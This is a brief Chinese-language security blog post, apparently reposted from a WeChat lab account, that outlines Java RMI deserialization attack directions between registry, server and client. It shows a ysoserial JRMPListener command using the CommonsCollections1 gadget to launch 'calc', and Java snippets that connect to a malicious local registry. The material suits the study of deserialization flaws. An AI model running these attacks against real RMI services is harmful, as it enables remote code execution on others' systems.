java安全-02RMI

admin 2022年3月25日23:27:01评论69 views1字数 764阅读2分32秒阅读模式

java安全-02RMI


基础知识

动态代理

反射

攻击方式

注册端攻击服务端

java -cp .ysoserial-master-8eb5cbfbf6-1.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "calc"
    public static void main(String[] args) throws RemoteException, MalformedURLException, NotBoundException, RemoteException {        //开启一个恶意的reg,然后server去过去链接注册,则会中招        String url = "rmi://127.0.0.1:1099/setUser";        Naming.unbind(url);    }

java安全-02RMI


注册端攻击客户端

    public static void main(String[] args) {        //PS F:toolsEXP> java -cp .ysoserial-master-8eb5cbfbf6-1.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "calc"        try{            String url = "rmi://127.0.0.1:1099/exp";            User user = (User) Naming.lookup(url);
}catch(Exception e){ e.printStackTrace(); } }

服务端攻击注册端

  1. 注册端开启

java安全-02RMI

  1. Server端利用CC1进行攻击

java安全-02RMI


java安全-02RMI


服务端攻击客户端

  1. 服务端将恶意类注册

java安全-02RMI

  1. 客户端加载执行

java安全-02RMI


java安全-02RMI


往期回顾

01

武装你的BurpSuite

02

CTF真题php在多重限制下的情况下如何执行命令?

03

cobalt strike cdn上线笔记

原文始发于微信公众号(雷石安全实验室):java安全-02RMI

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月25日23:27:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   java安全-02RMIhttps://cn-sec.com/archives/842228.html

发表评论

匿名网友 填写信息